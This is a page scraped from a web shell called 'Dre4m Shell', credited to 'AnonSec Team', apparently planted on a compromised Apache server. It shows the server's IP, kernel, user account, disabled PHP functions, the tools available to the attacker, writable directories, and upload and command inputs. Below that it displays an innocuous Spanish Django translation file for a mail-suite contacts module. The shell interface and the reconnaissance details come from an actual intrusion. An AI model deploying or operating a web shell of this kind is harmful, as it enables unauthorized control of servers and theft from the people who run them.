Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.149.214.28
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/modoboa_contacts/locale/es/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages/modoboa_contacts/locale/es/LC_MESSAGES/django.po
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
# 
# Translators:
# Luis Fajardo López <luis@fajardolopez.com>, 2018
# 
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2018-10-12 11:02+0200\n"
"PO-Revision-Date: 2018-10-12 09:06+0000\n"
"Last-Translator: Luis Fajardo López <luis@fajardolopez.com>, 2018\n"
"Language-Team: Spanish (https://www.transifex.com/tonio/teams/13749/es/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: es\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#: constants.py:6 constants.py:12
msgid "Home"
msgstr "Casa"

#: constants.py:7 constants.py:13
msgid "Work"
msgstr "Trabajo"

#: constants.py:8 constants.py:14
msgid "Other"
msgstr "Otro"

#: constants.py:15
msgid "Main"
msgstr "Principal"

#: constants.py:16
msgid "Cellular"
msgstr "Móvil"

#: constants.py:17
msgid "Fax"
msgstr "Fax"

#: constants.py:18
msgid "Pager"
msgstr "Localizador"

#: forms.py:15
msgid "Synchronization"
msgstr "Sincronización"

#: forms.py:19
msgid "Synchonize address book using CardDAV"
msgstr "Sincronizar libro de direcciones usando CardDAV"

#: forms.py:21
msgid ""
"Choose to synchronize or not your address book using CardDAV. You will be "
"able to access your contacts from the outside."
msgstr ""
"Seleccione para sincronizar o no su libro de direcciones usando CardDAV. "
"Podrá acceder a sus contactos remotamente."

#: forms.py:28
msgid "Synchronization frequency"
msgstr "Frecuencia de sincronización"

#: forms.py:30
msgid "Interval in seconds between 2 synchronization requests"
msgstr "Intervalo en segundos entre 2 peticiones de sincronización"

#: forms.py:42
msgid "Minimum allowed value is 60s"
msgstr "El valor mínimo autorizado es 60s"

#: handlers.py:24 modo_extension.py:17 modo_extension.py:25
#: templates/modoboa_contacts/index.html:6
msgid "Contacts"
msgstr "Contactos"

#: handlers.py:41
msgid "Your address book must be synced"
msgstr "Su libro de direcciones tiene que ser sincronizado"

#: models.py:36
msgid "Server location is not set, please fix it."
msgstr "No se ha configurado la dirección del servidor, por favor corríjalo."

#: modo_extension.py:19
msgid "Address book"
msgstr "Libro de direcciones"

#: serializers.py:87
msgid "Name or display name required"
msgstr "Se requiere el nombre o el nombre a mostrar"

Anon7 - 2022
AnonSec Team